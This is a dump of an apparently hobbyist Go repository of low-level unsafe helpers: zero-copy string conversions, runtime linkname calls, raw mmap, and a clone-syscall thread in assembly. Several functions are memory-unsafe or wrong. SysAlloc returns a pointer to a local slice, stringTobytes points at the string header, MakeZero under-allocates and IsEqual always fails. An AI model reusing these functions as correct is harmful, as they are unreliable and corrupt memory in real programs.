implemented in your system") 9 | 10 | } 11 | 12 | func memcopy_avx2_64(src unsafe.Pointer, src2 unsafe.Pointer) int { 13 | panic("memcopy_avx2_32 not implemented in your system") 14 | } 15 | 16 | func copy_AVX2_64(src []byte, src2 []byte) int { 17 | panic("copy_AVX2_64 not implemented in your system") 18 | } 19 | 20 | func copy_AMD_AVX2_32(src []byte, src2 []byte) int { 21 | panic("copy_AMD_AVX2_32 not implemented in your system") 22 | } 23 | -------------------------------------------------------------------------------- /example/exmp.go: -------------------------------------------------------------------------------- 1 | package example 2 | 3 | type Exmp struct { 4 | Public int 5 | private int 6 | Other string 7 | } 8 | 9 | func NewExmp() Exmp { 10 | return Exmp{ 11 | Public: 1, 12 | private: 5, 13 | Other: "3", 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/unevenbibliog/low-level-functions 2 | 3 | go 1.22.5 4 | 5 | require golang.org/x/sys v0.29.0 // indirect 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= 2 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 3 | -------------------------------------------------------------------------------- /mem/mmap_linux.go: -------------------------------------------------------------------------------- 1 | package mem 2 | 3 | import ( 4 | "unsafe" 5 | 6 | "golang.org/x/sys/unix" 7 | ) 8 | 9 | func SysAlloc(n int) (unsafe.Pointer, int) { 10 | 11 | p, err := unix.Mmap(-1, 0, n, unix.PROT_NONE, unix.MAP_ANON|unix.MAP_PRIVATE) 12 | if err != nil { 13 | return nil, -1 14 | } 15 | 16 | return unsafe.Pointer(&p), len(p) 17 | 18 | } 19 | 20 | func SysFree(m []byte) error { 21 | return unix.Munmap(m) 22 | } 23 | -------------------------------------------------------------------------------- /mem/mmap_test.go: -------------------------------------------------------------------------------- 1 | package mem 2 | 3 | import "testing" 4 | 5 | func TestAlloc(t *testing.T) { 6 | 7 | m, _ := SysAlloc(64) 8 | 9 | if len(*(*[]byte)(m)) != 64 { 10 | t.Errorf("Expected length 64, got %d", len(*(*[]byte)(m))) 11 | } 12 | 13 | SysFree(*(*[]byte)(m)) 14 | 15 | } 16 | -------------------------------------------------------------------------------- /strconv/strconv.go: -------------------------------------------------------------------------------- 1 | package strconv 2 | 3 | import ( 4 | lowlevelfunctions "github.com/unevenbibliog/low-level-functions" 5 | ) 6 | 7 | func FormatUint16(u uint16) string { 8 | 9 | if u == 0 { 10 | return "0" 11 | } 12 | 13 | var result [5]byte 14 | i := 4 15 | loop: 16 | if u > 0 { 17 | result[i] = byte(u%10) + '0' 18 | u /= 10 19 | i-- 20 | goto loop 21 | } 22 | 23 | return lowlevelfunctions.String(result[i+1:]) 24 | } 25 | 26 | /* 27 | uint8 : 0 to 255 28 | uint16 : 0 to 65535 29 | uint32 : 0 to 4294967295 30 | uint64 : 0 to 18446744073709551615 31 | int8 : -128 to 127 32 | int16 : -32768 to 32767 33 | int32 : -2147483648 to 2147483647 34 | int64 : -9223372036854775808 to 9223372036854775807 35 | */ 36 | 37 | // TODO: ADD BINARY.LITTLEENDIAN && BINARY.BIGENDIAN FOR LOW-LEVEL FUNCTIONS 38 | type littleEndian struct{} 39 | 40 | func (littleEndian) put_uint16(b *[2]byte, value uint16) { 41 | b[0] = byte(value) 42 | b[1] = byte(value >> 8) 43 | } 44 | -------------------------------------------------------------------------------- /strconv/t_test.go: -------------------------------------------------------------------------------- 1 | package strconv 2 | 3 | import ( 4 | "strconv" 5 | "testing" 6 | ) 7 | 8 | func TestStrconv16(t *testing.T) { 9 | got := FormatUint16(8080) 10 | want := "8080" 11 | if got != want { 12 | t.Errorf("ParseUint16(8080) = %q; want %q", got, want) 13 | } 14 | } 15 | 16 | func TestStrconv16_2(t *testing.T) { 17 | got := FormatUint16(65535) 18 | want := "65535" 19 | if got != want { 20 | t.Errorf("ParseUint16(8080) = %q; want %q", got, want) 21 | } 22 | } 23 | 24 | func TestStrconv16_3(t *testing.T) { 25 | got := FormatUint16(0) 26 | want := "0" 27 | if got != want { 28 | t.Errorf("ParseUint16(8080) = %q; want %q", got, want) 29 | } 30 | } 31 | 32 | func FormatUint16Default(u uint16) string { 33 | return strconv.FormatUint(uint64(u), 10) 34 | } 35 | 36 | func BenchmarkFormatUint16_my(b *testing.B) { 37 | var u string 38 | 39 | for i := 0; i < b.N; i++ { 40 | u = FormatUint16(8080) 41 | _ = u 42 | } 43 | } 44 | 45 | func BenchmarkFormatUint16_default(b *testing.B) { 46 | var u string 47 | 48 | for i := 0; i < b.N; i++ { 49 | u = FormatUint16Default(8080) 50 | _ = u 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /thread/thread.go: -------------------------------------------------------------------------------- 1 | package thread 2 | 3 | import ( 4 | "fmt" 5 | "runtime" 6 | "syscall" 7 | "time" 8 | "unsafe" 9 | ) 10 | 11 | //go:noescape 12 | func rawClone(flags uintptr, stack unsafe.Pointer) int 13 | 14 | func thread() { 15 | // stack for thread 2mb 16 | runtime.GOMAXPROCS(1) 17 | const stackSize = 2 << 20 18 | stack := [stackSize]byte{} 19 | stackPtr := unsafe.Pointer(&stack[0]) 20 | stackPtr = unsafe.Pointer(uintptr(stackPtr) & ^uintptr(0xF)) 21 | // flags for clone: CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD 22 | flags := uintptr(syscall.CLONE_VM | syscall.CLONE_FS | syscall.CLONE_FILES | syscall.CLONE_SIGHAND | syscall.CLONE_THREAD) 23 | //create thread 24 | fmt.Printf("Current PID: %d\n", syscall.Getpid()) 25 | time.Sleep(time.Second * 10) 26 | 27 | tid := rawClone(flags, stackPtr) 28 | 29 | if tid < 0 { 30 | fmt.Println("Error:", syscall.Errno(-tid)) 31 | return 32 | } 33 | fmt.Printf("Thread created with TID: %d\n", tid) 34 | 35 | for { 36 | time.Sleep(1 * time.Second) 37 | fmt.Printf("Thread running in TID: %d\n", syscall.Gettid()) 38 | tid2 := rawClone(flags, stackPtr) 39 | fmt.Printf("Thread created with TID: %d\n", tid2) 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /thread/thread_amd64.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | 3 | 4 | 5 | #define SYS_CLONE 56 6 | #define SYS_WRITE 1 7 | #define SYS_EXIT 60 8 | 9 | // signature: func rawClone(flags uintptr, stack unsafe.Pointer) int 10 | TEXT ·rawClone(SB), NOSPLIT, $0-16 11 | MOVQ flags+0(FP), DI //load flags 12 | MOVQ stack+8(FP), SI // pointer to stack 13 | LEAQ threadFunc<>(SB), DX // pointer to function 14 | 15 | XORQ R10, R10 // parent_tid 16 | XORQ R8, R8 // child_tid 17 | XORQ R9, R9 // TLS 18 | 19 | MOVQ $SYS_CLONE, AX 20 | SYSCALL 21 | 22 | TESTQ AX, AX 23 | JZ new_thread 24 | 25 | MOVQ AX, ret+16(FP) 26 | RET 27 | 28 | new_thread: 29 | MOVQ DX, AX 30 | CALL AX 31 | XORQ DI, DI 32 | MOVQ $SYS_EXIT, AX 33 | SYSCALL 34 | 35 | // function pointer to thread 36 | TEXT threadFunc<>(SB), NOSPLIT, $0-0 37 | MOVQ $SYS_WRITE, AX 38 | MOVQ $1, DI // stdout 39 | LEAQ msg<>(SB), SI // pointer to message 40 | MOVQ msg_len<>(SB), DX // len message 41 | SYSCALL 42 | 43 | MOVQ $SYS_EXIT, AX 44 | XORQ DI, DI // exit code 0 45 | SYSCALL 46 | 47 | 48 | DATA msg<>+0(SB)/8, $"Hello fr" 49 | DATA msg<>+8(SB)/8, $"om asm " 50 | DATA msg<>+16(SB)/8, $"thread\n" 51 | GLOBL msg<>(SB), RODATA, $24 52 | 53 | DATA msg_len<>(SB)/8, $24 54 | GLOBL msg_len<>(SB), RODATA, $8 55 | 56 | -------------------------------------------------------------------------------- /thread/thread_test.go: -------------------------------------------------------------------------------- 1 | package thread 2 | 3 | import "testing" 4 | 5 | func TestThread(t *testing.T) { 6 | thread() 7 | } 8 | -------------------------------------------------------------------------------- /union/union.go: -------------------------------------------------------------------------------- 1 | package union 2 | 3 | import ( 4 | "errors" 5 | "unsafe" 6 | ) 7 | 8 | var ( 9 | ErrTypeTooLarge = errors.New("type size exceeds union capacity") 10 | ErrInvalidType = errors.New("unsupported type") 11 | ) 12 | 13 | type Union[T any] struct { 14 | data [8]byte 15 | } 16 | 17 | func (u *Union[T]) Reset() { u.data = [8]byte{} } 18 | func (u *Union[T]) Data() *[8]byte { return &u.data } 19 | 20 | func NewUnion[T any]() *Union[T] { return &Union[T]{} } 21 | 22 | func (u *Union[T]) Set(val T) error { 23 | size := unsafe.Sizeof(val) 24 | if size > uintptr(len(u.data)) { 25 | return ErrTypeTooLarge 26 | } 27 | 28 | src := unsafe.Slice((*byte)(unsafe.Pointer(&val)), size) 29 | copy(u.data[:], src) 30 | return nil 31 | } 32 | 33 | func (u *Union[T]) Get() (T, error) { 34 | var zero T 35 | size := unsafe.Sizeof(zero) 36 | if size > uintptr(len(u.data)) { 37 | return zero, ErrTypeTooLarge 38 | } 39 | if u.data == [8]byte{} { 40 | return zero, ErrInvalidType 41 | 42 | } 43 | 44 | return *(*T)(unsafe.Pointer(&u.data[0])), nil 45 | } 46 | 47 | func (u *Union[T]) SetInt64(val int64) { u.data = *(*[8]byte)(unsafe.Pointer(&val)) } 48 | func (u *Union[T]) GetInt64() int64 { return *(*int64)(unsafe.Pointer(&u.data)) } 49 | 50 | func (u *Union[T]) SetFloat64(val float64) { u.data = *(*[8]byte)(unsafe.Pointer(&val)) } 51 | func (u *Union[T]) GetFloat64() float64 { return *(*float64)(unsafe.Pointer(&u.data)) } 52 | -------------------------------------------------------------------------------- /unused.go: -------------------------------------------------------------------------------- 1 | package lowlevelfunctions 2 | 3 | import "unsafe" 4 | 5 | func new[T any](value T, size int) *T { 6 | obj := (*T)(mallocgc(uintptr(size), nil, false)) 7 | *obj = value 8 | return obj 9 | } 10 | 11 | //go:linkname lock runtime.lock 12 | func lock(l *mutex) 13 | 14 | //go:linkname nanotime runtime.nanotime 15 | func nanotime() int64 16 | 17 | //go:linkname unlock runtime.unlock 18 | func unlock(l *mutex) 19 | 20 | type mutex struct { 21 | // Futex-based impl treats it as uint32 key, 22 | // while sema-based impl as M* waitm. 23 | // Used to be a union, but unions break precise GC. 24 | key uintptr 25 | } 26 | 27 | //go:linkname sysFree runtime.sysFree 28 | func sysFree(v unsafe.Pointer, n uintptr, sysStat unsafe.Pointer) 29 | 30 | //go:linkname sysFreeOS runtime.sysFreeOS 31 | func sysFreeOS(v unsafe.Pointer, n uintptr) 32 | 33 | //go:linkname goReady runtime.goready 34 | func goReady(goroutinePtr unsafe.Pointer, traceskip int) 35 | 36 | //go:linkname mCall runtime.mcall 37 | func mCall(fn func(unsafe.Pointer)) 38 | 39 | //go:linkname readGStatus runtime.readgstatus 40 | func readGStatus(gp unsafe.Pointer) uint32 41 | 42 | //go:linkname casGStatus runtime.casgstatus 43 | func casGStatus(gp unsafe.Pointer, oldval, newval uint32) 44 | 45 | //go:linkname dropG runtime.dropg 46 | func dropG() 47 | 48 | //go:linkname schedule runtime.schedule 49 | func schedule() 50 | -------------------------------------------------------------------------------- /utils.go: -------------------------------------------------------------------------------- 1 | package lowlevelfunctions 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | "strings" 7 | "sync/atomic" 8 | "unicode/utf8" 9 | "unsafe" 10 | 11 | "github.com/unevenbibliog/low-level-functions/constants" 12 | ) 13 | 14 | const ( 15 | PtrSize = 4 << (^uintptr(0) >> 63) 16 | StrSize = unsafe.Sizeof("") 17 | SliceSize = int(unsafe.Sizeof([]byte{})) 18 | CacheLineSize = constants.CacheLinePadSize 19 | MaxInt32 = 1<<31 - 1 20 | MaxUintptr = ^uintptr(0) 21 | ) 22 | 23 | func MulUintptr(a, b uintptr) (uintptr, bool) { 24 | if a|b < 1<<(4*PtrSize) || a == 0 { 25 | return a * b, false 26 | } 27 | overflow := b > MaxUintptr/a 28 | return a * b, overflow 29 | } 30 | 31 | //go:noescape 32 | func GetG() unsafe.Pointer 33 | 34 | //go:noescape 35 | //go:linkname runtime_procPin runtime.procPin 36 | func runtime_procPin() int 37 | 38 | //go:noescape 39 | //go:linkname runtime_procUnpin runtime.procUnpin 40 | func runtime_procUnpin() 41 | 42 | // Pin pins current p, return pid. 43 | func Pin() int { 44 | return runtime_procPin() 45 | } 46 | 47 | // Unpin unpins current p. 48 | func Unpin() { 49 | runtime_procUnpin() 50 | } 51 | 52 | // Pid returns the id of current p. 53 | func Pid() (id int) { 54 | id = runtime_procPin() 55 | runtime_procUnpin() 56 | return 57 | } 58 | 59 | func MallocSlice[T any](len, cap int) []T { 60 | var t T 61 | mem, overflow := MulUintptr(unsafe.Sizeof(t), uintptr(cap)) 62 | if overflow || len < 0 || len > cap { 63 | panic("invalid slice length or capacity") 64 | } 65 | return *(*[]T)(unsafe.Pointer(&struct { 66 | Data uintptr 67 | Len int 68 | Cap int 69 | }{uintptr(mallocgc(mem, Pointer(reflect.TypeOf(t)), false)), len, cap})) 70 | } 71 | 72 | func GetPrivateField[T any, V any](ptr *T, fieldName string) *V { 73 | t := reflect.TypeOf(*ptr) 74 | 75 | field, _ := t.FieldByName(fieldName) 76 | fieldOffset := field.Offset 77 | 78 | return (*V)(unsafe.Pointer(uintptr(unsafe.Pointer(ptr)) + fieldOffset)) 79 | } 80 | 81 | func Malloc[T any](t T) *T { 82 | // Allocate memory and then copy the value of t into the allocated memory 83 | ptr := (*T)(mallocgc(unsafe.Sizeof(t), Pointer(reflect.TypeOf(t)), false)) 84 | *ptr = t // Copy the value of t into the allocated memory 85 | return ptr 86 | } 87 | 88 | //go:linkname newarray runtime.newarray 89 | func newarray(t unsafe.Pointer, n int) unsafe.Pointer 90 | 91 | func MakeSlice[T any](len, cap int) []T { 92 | var typ T 93 | return *(*[]T)(unsafe.Pointer(&struct { 94 | Data uintptr 95 | Len int 96 | Cap int 97 | }{uintptr(newarray(Pointer(typ), cap)), len, cap})) 98 | 99 | } 100 | 101 | type Iface struct { 102 | typ unsafe.Pointer 103 | ptr unsafe.Pointer 104 | } 105 | 106 | func Inspect(v interface{}) (reflect.Type, unsafe.Pointer) { 107 | return reflect.TypeOf(v), Pointer(v) 108 | } 109 | 110 | func Pointer(v interface{}) unsafe.Pointer { 111 | return (*Iface)(unsafe.Pointer(&v)).ptr 112 | } 113 | 114 | type MutableString []byte 115 | 116 | func (m *MutableString) String() string { 117 | if len(*m) == 0 { 118 | return "" 119 | } 120 | return String(*m) 121 | } 122 | 123 | // ONLY FOR SHOW EXAMPLE 124 | // USE DEFAULT [3:5] IN PROD 125 | func BytesFromRange(start, end uintptr) []byte { 126 | length := end - start 127 | return *(*[]byte)(unsafe.Pointer(&struct { 128 | uintptr 129 | int 130 | i int 131 | }{start, int(length), int(length)})) 132 | } 133 | 134 | func (m *MutableString) StringNoZero() string { 135 | if len(*m) == 0 { 136 | return "" 137 | } 138 | result := String(*m) 139 | return strings.TrimRight(result, "\x00") 140 | } 141 | func (m *MutableString) AppendString(s string) { 142 | if len(*m) == 0 { 143 | *m = MakeNoZeroCap(0, len(s)) 144 | } 145 | *m = append(*m, s...) 146 | } 147 | 148 | func (m *MutableString) AppendByte(c byte) { 149 | if len(*m) == 0 { 150 | *m = MakeNoZeroCap(0, 1) 151 | } 152 | *m = append(*m, c) 153 | } 154 | 155 | func (m *MutableString) Get(i int) byte { 156 | return (*m)[i] 157 | } 158 | 159 | func (m *MutableString) Append(data []byte) { 160 | if len(*m) == 0 { 161 | *m = MakeNoZeroCap(0, len(data)) 162 | } 163 | *m = append(*m, data...) 164 | } 165 | 166 | func (m *MutableString) Len() int { 167 | return len(*m) 168 | } 169 | 170 | func (m *MutableString) Clear() { 171 | *m = (*m)[:0] 172 | } 173 | 174 | func (m *MutableString) SetString(s string) { 175 | 176 | if cap(*m) >= len(s) { 177 | *m = (*m)[:len(s)] 178 | copy(*m, s) 179 | } else { 180 | *m = []byte(s) 181 | } 182 | } 183 | 184 | func (m *MutableString) IsEmpty() bool { 185 | return len(*m) == 0 186 | } 187 | 188 | func (m *MutableString) ToUpper() { 189 | *m = []byte(strings.ToUpper(m.String())) 190 | } 191 | 192 | func (m *MutableString) ToLower() { 193 | *m = []byte(strings.ToLower(m.String())) 194 | } 195 | 196 | func (m *MutableString) Trim() { 197 | *m = []byte(strings.TrimSpace(m.String())) 198 | } 199 | 200 | func (m *MutableString) Equals(other string) bool { 201 | return m.String() == other 202 | } 203 | 204 | func UnsafePointer[T any](b T) unsafe.Pointer { 205 | return unsafe.Pointer(&b) 206 | } 207 | 208 | func ConvertUnsafePointer[T any](p unsafe.Pointer) T { 209 | return *(*T)(p) 210 | } 211 | 212 | type String_t struct { 213 | Data unsafe.Pointer 214 | Len int 215 | } 216 | 217 | // Slice internals from reflect 218 | type Slice_t struct { 219 | Data unsafe.Pointer 220 | Len int 221 | Cap int 222 | } 223 | 224 | //go:linkname memmove runtime.memmove 225 | func memmove(dst, src unsafe.Pointer, n uintptr) 226 | 227 | // constants in make for standart copy is more faster,but if no constant we can use CopyUnsafe() 228 | // make([]byte, len(src)) not constant make([]byte, 0) constant 229 | // 230 | //go:nocheckptr 231 | func CopyUnsafe(dst []byte, src []byte) int { 232 | memmove(unsafe.Pointer(&dst[0]), unsafe.Pointer(&src[0]), uintptr(len(src))) 233 | return len(src) 234 | } 235 | 236 | //go:nosplit 237 | //go:nocheckptr 238 | func Noescape(up unsafe.Pointer) unsafe.Pointer { 239 | x := uintptr(up) 240 | return unsafe.Pointer(x ^ 0) 241 | } 242 | 243 | type ErrorSizeUnmatch struct { 244 | fromLength int 245 | fromSize int64 246 | 247 | toSize int64 248 | } 249 | 250 | func (err *ErrorSizeUnmatch) Error() string { 251 | return fmt.Sprintf( 252 | "size mismatch: source length = '%d',"+ 253 | "source size = '%d', destination size = '%d'", 254 | err.fromLength, err.fromSize, err.toSize) 255 | } 256 | 257 | func string2(b []byte) string { 258 | return *(*string)(unsafe.Pointer(&b)) 259 | } 260 | 261 | func string1(b []byte) string { 262 | h := *(*reflect.StringHeader)(unsafe.Pointer(&b)) 263 | h.Data = uintptr(unsafe.Pointer(&b[0])) 264 | h.Len = len(b) 265 | return *(*string)(unsafe.Pointer(&h)) 266 | } 267 | 268 | func string_b(b []byte) string { 269 | h := *(*String_t)(unsafe.Pointer(&b)) 270 | h.Data = unsafe.Pointer(&b[0]) 271 | h.Len = len(b) 272 | return *(*string)(unsafe.Pointer(&h)) 273 | } 274 | 275 | func String(b []byte) string { 276 | return *(*string)(unsafe.Pointer(&struct { 277 | uintptr 278 | int 279 | }{*(*uintptr)(unsafe.Pointer(&b)), len(b)})) 280 | } 281 | 282 | func string3(b []byte) string { 283 | 284 | return unsafe.String(unsafe.SliceData(b), len(b)) 285 | } 286 | 287 | func string4(b []byte) string { 288 | (*reflect.StringHeader)(unsafe.Pointer(&b)).Data = uintptr(unsafe.Pointer(&b[0])) 289 | (*reflect.StringHeader)(unsafe.Pointer(&b)).Len = len(b) 290 | return *(*string)(unsafe.Pointer(&b)) 291 | } 292 | 293 | func unsafeGetBytes(s string) (b []byte) { 294 | (*reflect.SliceHeader)(unsafe.Pointer(&b)).Data = (*reflect.StringHeader)(unsafe.Pointer(&s)).Data 295 | (*reflect.SliceHeader)(unsafe.Pointer(&b)).Cap = len(s) 296 | (*reflect.SliceHeader)(unsafe.Pointer(&b)).Len = len(s) 297 | return 298 | } 299 | 300 | func unsafeGetBytes_2(s string) []byte { 301 | const MaxInt32 = 1<<31 - 1 302 | return (*[MaxInt32]byte)(unsafe.Pointer((*reflect.StringHeader)( 303 | unsafe.Pointer(&s)).Data))[: len(s)&MaxInt32 : len(s)&MaxInt32] 304 | } 305 | 306 | func _stringToBytes_(s string) []byte { 307 | return *(*[]byte)(unsafe.Pointer(&s)) 308 | } 309 | 310 | func stringTobytes(s string) []byte { 311 | h := (*(*reflect.SliceHeader)(unsafe.Pointer(&s))) 312 | h.Len = len(s) 313 | h.Cap = len(s) 314 | h.Data = uintptr(unsafe.Pointer(&s)) 315 | return *(*[]byte)(unsafe.Pointer(&h)) 316 | } 317 | 318 | func stringBytes(s string) []byte { 319 | h := *(*Slice_t)(unsafe.Pointer(&s)) 320 | h.Len = len(s) 321 | h.Cap = len(s) 322 | h.Data = unsafe.Pointer(&s) 323 | return *(*[]byte)(unsafe.Pointer(&h)) 324 | } 325 | 326 | func stringToBytes_(s string) []byte { 327 | return unsafe.Slice((*byte)(unsafe.Pointer(&s)), len(s)) 328 | } 329 | 330 | func StringToBytes(s string) []byte { 331 | return *(*[]byte)(unsafe.Pointer(&struct { 332 | uintptr 333 | int 334 | i int 335 | }{*(*uintptr)(unsafe.Pointer(&s)), len(s), len(s)})) 336 | } 337 | 338 | func CopyString(s string) string { 339 | c := MakeNoZero(len(s)) 340 | copy(c, StringToBytes(s)) 341 | return String(c) 342 | } 343 | 344 | func ConvertSlice[TFrom, TTo any](from []TFrom) ([]TTo, error) { 345 | var ( 346 | zeroValFrom TFrom 347 | zeroValTo TTo 348 | ) 349 | 350 | maxSize := unsafe.Sizeof(zeroValFrom) 351 | minSize := unsafe.Sizeof(zeroValTo) 352 | 353 | if minSize > maxSize { 354 | Swap(&minSize, &maxSize) 355 | } 356 | 357 | if unsafe.Sizeof(zeroValFrom) == minSize { 358 | if len(from)*int(minSize)%int(maxSize) != 0 { 359 | return nil, &ErrorSizeUnmatch{ 360 | fromLength: len(from), 361 | fromSize: int64(unsafe.Sizeof(zeroValFrom)), 362 | toSize: int64(unsafe.Sizeof(zeroValTo)), 363 | } 364 | } 365 | 366 | header := *(*reflect.SliceHeader)(unsafe.Pointer(&from)) 367 | header.Len = header.Len * int(minSize) / int(maxSize) 368 | header.Cap = header.Cap * int(minSize) / int(maxSize) 369 | result := *(*[]TTo)(unsafe.Pointer(&header)) 370 | 371 | return result, nil 372 | } else { 373 | if len(from)*int(maxSize)%int(minSize) != 0 { 374 | return nil, &ErrorSizeUnmatch{ 375 | fromLength: len(from), 376 | fromSize: int64(unsafe.Sizeof(zeroValFrom)), 377 | toSize: int64(unsafe.Sizeof(zeroValTo)), 378 | } 379 | } 380 | 381 | header := *(*reflect.SliceHeader)(unsafe.Pointer(&from)) 382 | header.Len = header.Len * int(maxSize) / int(minSize) 383 | header.Cap = header.Cap * int(maxSize) / int(minSize) 384 | result := *(*[]TTo)(unsafe.Pointer(&header)) 385 | 386 | return result, nil 387 | } 388 | } 389 | 390 | //go:noinline 391 | func Swap[T any](a, b *T) { 392 | tmp := *a 393 | *a = *b 394 | *b = tmp 395 | } 396 | 397 | //go:linkname mallocgc runtime.mallocgc 398 | func mallocgc(size uintptr, typ unsafe.Pointer, needzero bool) unsafe.Pointer 399 | 400 | func MakeNoZero(l int) []byte { 401 | return unsafe.Slice((*byte)(mallocgc(uintptr(l), nil, false)), l) // standart 402 | 403 | } 404 | 405 | func MakeNoZeroCap(l int, c int) []byte { 406 | return MakeNoZero(c)[:l] 407 | } 408 | 409 | type StringBuffer struct { 410 | buf []byte 411 | } 412 | 413 | func NewStringBuffer(cap int) *StringBuffer { 414 | return &StringBuffer{ 415 | buf: MakeNoZeroCap(0, cap), 416 | } 417 | } 418 | 419 | func (b *StringBuffer) String() string { 420 | return String(b.buf) 421 | } 422 | 423 | func (b *StringBuffer) Bytes() []byte { 424 | return b.buf 425 | } 426 | 427 | func (b *StringBuffer) Len() int { 428 | return len(b.buf) 429 | } 430 | 431 | func (b *StringBuffer) Cap() int { 432 | return cap(b.buf) 433 | } 434 | 435 | func (b *StringBuffer) Reset() { 436 | b.buf = b.buf[:0] // reuse the underlying storage 437 | } 438 | 439 | func (b *StringBuffer) grow(n int) { 440 | buf := MakeNoZero(2*cap(b.buf) + n)[:len(b.buf)] 441 | copy(buf, b.buf) 442 | b.buf = buf 443 | } 444 | 445 | func (b *StringBuffer) Grow(n int) { 446 | // Check if n is negative 447 | if n < 0 { 448 | // Panic with the message "fast.StringBuffer.Grow: negative count" 449 | panic("fast.StringBuffer.Grow: negative count") 450 | } 451 | 452 | // Check if the buffer's available capacity is less than n 453 | if cap(b.buf)-len(b.buf) < n { 454 | // Call the grow method to increase the capacity 455 | b.grow(n) 456 | } 457 | } 458 | 459 | func (b *StringBuffer) Write(p []byte) (int, error) { 460 | b.buf = append(b.buf, p...) 461 | return len(p), nil 462 | } 463 | 464 | func (b *StringBuffer) WriteByte(c byte) error { 465 | 466 | b.buf = append(b.buf, c) 467 | return nil 468 | } 469 | 470 | func (b *StringBuffer) WriteRune(r rune) (int, error) { 471 | 472 | n := len(b.buf) 473 | b.buf = utf8.AppendRune(b.buf, r) 474 | return len(b.buf) - n, nil 475 | } 476 | 477 | func (b *StringBuffer) WriteString(s string) (int, error) { 478 | 479 | b.buf = append(b.buf, s...) 480 | return len(s), nil 481 | } 482 | 483 | func ConvertOne[TFrom, TTo any](from TFrom) (TTo, error) { 484 | var ( 485 | zeroValFrom TFrom 486 | zeroValTo TTo 487 | ) 488 | 489 | if unsafe.Sizeof(zeroValFrom) != unsafe.Sizeof(zeroValTo) { // need same size to convert 490 | return zeroValTo, &ErrorSizeUnmatch{ 491 | fromSize: int64(unsafe.Sizeof(zeroValFrom)), 492 | toSize: int64(unsafe.Sizeof(zeroValTo)), 493 | } 494 | } 495 | 496 | value := *(*TTo)(unsafe.Pointer(&from)) 497 | 498 | return value, nil 499 | } 500 | 501 | func MustConvertOne[TFrom, TTo any](from TFrom) TTo { 502 | 503 | return *(*TTo)(unsafe.Pointer(&from)) 504 | 505 | } 506 | 507 | func MakeZero[T any](l int) []T { // for now better works with big size 508 | return unsafe.Slice((*T)(mallocgc(uintptr(l), nil, true)), l) 509 | } 510 | 511 | // in future i'll try to replace interface 512 | 513 | func MakeZeroCap[T any](l int, c int) []T { // // for now better works with big size 514 | return MakeZero[T](c)[:l] 515 | } 516 | 517 | func MakeNoZeroString(l int) []string { 518 | return unsafe.Slice((*string)(mallocgc(uintptr(l), nil, false)), l) 519 | } 520 | 521 | func MakeNoZeroCapString(l int, c int) []string { 522 | return MakeNoZeroString(c)[:l] 523 | } 524 | 525 | //go:linkname memequal runtime.memequal 526 | func memequal(a, b unsafe.Pointer, size uintptr) bool 527 | 528 | func Equal(a, b []byte, length uintptr) bool { 529 | return memequal(unsafe.Pointer(&a[0]), unsafe.Pointer(&b[0]), length) 530 | 531 | } 532 | 533 | func IsNil(v any) bool { 534 | /* 535 | var x *int 536 | var y any 537 | fmt.Println(x == nil) // false 538 | fmt.Println(isNil(x)) // true 539 | fmt.Println(x == nil) // true 540 | fmt.Println(isNil(y)) // panic 541 | 542 | 543 | */ 544 | 545 | return reflect.ValueOf(v).IsNil() 546 | } 547 | 548 | // IsEqual checks if two variables point to the same memory location. 549 | // 550 | // It uses unsafe.Pointer to get the memory address of the variables. 551 | // The equality check is performed by comparing the memory addresses. 552 | // 553 | // Parameters: 554 | // - v1: The first variable. 555 | // - v2: The second variable. 556 | // 557 | // Returns: 558 | // - bool: True if the variables point to the same memory location, false otherwise. 559 | func IsEqual[T any](v1, v2 T) bool { 560 | // Get the memory address of the variables using unsafe.Pointer. 561 | // The & operator returns the memory address of a variable. 562 | // The unsafe.Pointer type is used to store and manipulate untyped memory. 563 | // It is commonly used in low-level programming to bypass type safety checks. 564 | // 565 | // The &v1 and &v2 expressions take the address of v1 and v2 variables respectively. 566 | // The expressions return pointers to the variables. 567 | return unsafe.Pointer(&v1) == unsafe.Pointer(&v2) 568 | } 569 | 570 | type CacheLinePadding struct { 571 | _ [constants.CacheLinePadSize]byte 572 | } 573 | 574 | // Example of using cache line padding 575 | 576 | type AtomicCounter struct { 577 | _ CacheLinePadding // 64 or 32 578 | value atomic.Int32 579 | _ [constants.CacheLinePadSize - unsafe.Sizeof(atomic.Int32{})]byte 580 | } 581 | 582 | func (a *AtomicCounter) Increment(int) { 583 | 584 | a.value.Add(1) 585 | } 586 | 587 | func (a *AtomicCounter) Get() int32 { 588 | return a.value.Load() 589 | 590 | } 591 | 592 | func GetItem[T any](slice []T, idx int) T { // experimental same performance as original 593 | 594 | if len(slice) == 0 || idx < 0 || idx >= len(slice) { 595 | panic("index out of range") 596 | } 597 | 598 | ptr := unsafe.Pointer(uintptr(unsafe.Pointer(&slice[0])) + uintptr(idx)*unsafe.Sizeof(slice[0])) 599 | 600 | return *(*T)(ptr) 601 | } 602 | 603 | //go:nocheckptr 604 | func GetItemWithoutCheck[T any](slice []T, idx int) T { // clears the checks for idx and make it faster but not safe 605 | 606 | ptr := (*T)(unsafe.Add(unsafe.Pointer(&slice[0]), uintptr(idx)*unsafe.Sizeof(slice[0]))) 607 | return *ptr 608 | } 609 | 610 | var tab64 = [64]uintptr{ 611 | 63, 0, 58, 1, 59, 47, 53, 2, 612 | 60, 39, 48, 27, 54, 33, 42, 3, 613 | 61, 51, 37, 40, 49, 18, 28, 20, 614 | 55, 30, 34, 11, 43, 14, 22, 4, 615 | 62, 57, 46, 52, 38, 26, 32, 41, 616 | 50, 36, 17, 19, 29, 10, 13, 21, 617 | 56, 45, 25, 31, 35, 16, 9, 12, 618 | 44, 24, 15, 8, 23, 7, 6, 5, 619 | } 620 | 621 | // log2 computes the binary logarithm of x, rounded up to the next integer 622 | func Log2(i uintptr) (n uintptr) { 623 | if i == 0 { 624 | return 0 625 | } 626 | 627 | i |= i >> 1 628 | i |= i >> 2 629 | i |= i >> 4 630 | i |= i >> 8 631 | i |= i >> 16 632 | i |= i >> 32 633 | 